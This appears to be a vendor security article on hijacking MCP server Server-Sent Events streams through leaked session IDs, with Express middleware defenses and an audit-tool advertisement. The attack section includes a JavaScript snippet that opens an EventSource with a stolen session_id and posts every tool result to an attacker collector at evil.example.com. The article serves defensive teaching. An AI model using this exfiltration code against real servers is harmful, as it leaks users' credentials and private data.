Topic: mcp server SSE security

MCP server SSE hijacking — securing Server-Sent Events connections on HTTP transport

MCP servers that use Streamable HTTP transport expose a Server-Sent Events stream endpoint. Without origin validation and connection authentication, an attacker can establish a cross-origin SSE connection to the victim's session stream, receiving all tool results in real time — including results that contain sensitive data.

How SSE works in MCP HTTP transport

The MCP Streamable HTTP transport uses a two-phase communication model. The client first sends a POST request to the /message endpoint, which carries the JSON-RPC tool call payload. The server acknowledges the call and returns a session_id. The client then opens a GET request to the /events endpoint, passing that session_id as a URL query parameter:

GET /events?session_id=a3f9b2c1d4e5f678901234567890abcd HTTP/1.1
Host: mcp.corp.internal
Accept: text/event-stream

The server holds this long-lived GET connection open and pushes newline-delimited SSE frames back to the client over it. Every tool result, resource update notification, progress event, and log stream produced during the session flows through this single persistent connection. This makes the session_id parameter the single credential that gates access to all session data. Because the SSE connection model is fundamentally a streaming GET, the session_id must be passed as a URL parameter — it cannot travel in a request body.

The hijacking attack

An attacker who obtains the victim's session_id can open their own EventSource connection to the /events endpoint from any origin and receive all subsequent tool results in real time. The critical detail is that EventSource is a simple GET request. The browser's CORS preflight mechanism (the OPTIONS request) is not triggered for simple GETs with standard headers — which means no Access-Control-Allow-Origin check gates the connection attempt. The browser sends the request from any origin and the server must enforce authorization itself.

// Attacker's page at https://evil.example.com
// Victim's session_id obtained from a URL leak, log exposure, or XSS
const stolenSessionId = 'a3f9b2c1d4e5f678901234567890abcd';

const es = new EventSource(
  `https://mcp.corp.internal/events?session_id=${stolenSessionId}`
);

es.onmessage = (event) => {
  // Tool results, credential lookups, PII queries — all arrive here
  fetch('https://evil.example.com/collect', {
    method: 'POST',
    body: event.data
  });
};

The attacker receives every tool result pushed after their connection is established. If the tool calls return API keys, customer records, or internal document contents, all of that data now reaches the attacker's collector.

Session IDs can be leaked in multiple ways: they appear in browser history (because they are URL parameters), in server access logs and CDN edge logs, in Referer headers when the page containing the EventSource URL navigates to an external resource, and in network monitoring tools that record request URLs without redacting query parameters.

Session ID as bearer token — the structural problem

A session ID in a URL query parameter is effectively an unauthenticated bearer token that travels in plaintext through every log pipeline the HTTP request passes through. Compare this with a session cookie: an HttpOnly; Secure; SameSite=Strict cookie is not accessible to JavaScript (blocking XSS theft), does not appear in Referer headers, is scoped to the originating host, and is redacted by most log-forwarding configurations. The URL query parameter has none of these properties.

The MCP Streamable HTTP spec requires session_id in the URL because EventSource does not support custom request headers. This is a known limitation of the browser EventSource API, not a spec flaw. The answer is not to remove the session_id parameter but to treat it as an untrusted hint and layer real authentication on top of it.

Defense 1: Require authentication on the SSE endpoint

The /events endpoint must validate that the connecting party is the same authenticated user who created the session — not merely that they know the session_id. The session cookie or Authorization header on the SSE GET request provides that verification. Express middleware that ties the session ID to the authenticated session:

// Express middleware: validateSseAccess
// Assumes req.session is populated by express-session or a JWT middleware
function validateSseAccess(req, res, next) {
  const sessionId = req.query.session_id;

  if (!sessionId) {
    return res.status(400).end('Missing session_id');
  }

  // req.session.userId is set by your auth middleware (cookie or JWT)
  if (!req.session || !req.session.userId) {
    return res.status(401).end('Unauthorized');
  }

  // Look up which userId owns this session_id in your session store
  const ownerUserId = sessionStore.getOwner(sessionId);

  if (!ownerUserId || ownerUserId !== req.session.userId) {
    // session_id doesn't belong to this authenticated user
    return res.status(403).end('Forbidden');
  }

  next();
}

app.get('/events', validateSseAccess, (req, res) => {
  res.setHeader('Content-Type', 'text/event-stream');
  res.setHeader('Cache-Control', 'no-cache');
  res.setHeader('Connection', 'keep-alive');
  // ... push events
});

This check means that knowing the session_id alone is not sufficient. The connecting client must also carry valid session credentials that match the session owner.

Defense 2: Origin validation on EventSource connections

The browser sends an Origin header on all EventSource requests. Unlike Referer, the Origin header cannot be spoofed by page-level JavaScript and is reliably present on cross-origin requests. Validating it on the server rejects EventSource connections from unexpected origins:

const ALLOWED_ORIGINS = new Set([
  'https://app.corp.internal',
  'https://claude.ai',          // if the Claude desktop client uses web origin
]);

function validateOrigin(req, res, next) {
  const origin = req.headers['origin'];

  // Same-origin requests may omit Origin; allow them
  if (!origin) {
    return next();
  }

  if (!ALLOWED_ORIGINS.has(origin)) {
    res.status(403).end('Origin not allowed');
    return;
  }

  res.setHeader('Access-Control-Allow-Origin', origin);
  next();
}

app.get('/events', validateOrigin, validateSseAccess, sseHandler);

Note that origin validation is a second layer, not a primary defense. A server-side attacker (one who controls code running on the server itself, such as through a compromised dependency) can make HTTP requests without an Origin header entirely. Origin validation stops browser-based cross-origin attacks; it does not stop server-side request forgery or direct API access from tools like curl.

Defense 3: Short-lived event stream tokens with rotation

Instead of using a single session_id for the entire session lifetime, issue a separate short-lived event stream token that is rotated frequently. After each tool call completes, or after a fixed time window (30–60 seconds), the server invalidates the current stream token and issues a new one. The client reconnects with the new token:

// Server: issue a stream token valid for 60 seconds
function issueStreamToken(sessionId) {
  const token = crypto.randomBytes(32).toString('hex');
  const expiresAt = Date.now() + 60_000;
  streamTokenStore.set(token, { sessionId, expiresAt });
  return token;
}

// Server: validate stream token on /events connection
function validateStreamToken(req, res, next) {
  const token = req.query.stream_token;
  const entry = streamTokenStore.get(token);

  if (!entry || Date.now() > entry.expiresAt) {
    return res.status(401).end('Stream token expired or invalid');
  }

  req.sessionId = entry.sessionId;
  // Rotate: delete old token immediately
  streamTokenStore.delete(token);
  next();
}

Even if an attacker captures a stream_token from a log, the token is invalid within 60 seconds and is deleted after first use. The intercepted token cannot be replayed.

What SkillAudit checks

SkillAudit's static and dynamic analysis examines your MCP server's SSE endpoint handler, inspects middleware chains for authentication checks, and attempts a cross-origin EventSource connection in a sandboxed environment to verify whether origin validation is enforced at runtime — not just declared in configuration.

Check whether your MCP SSE endpoint validates session identity and origin.

Run a free audit →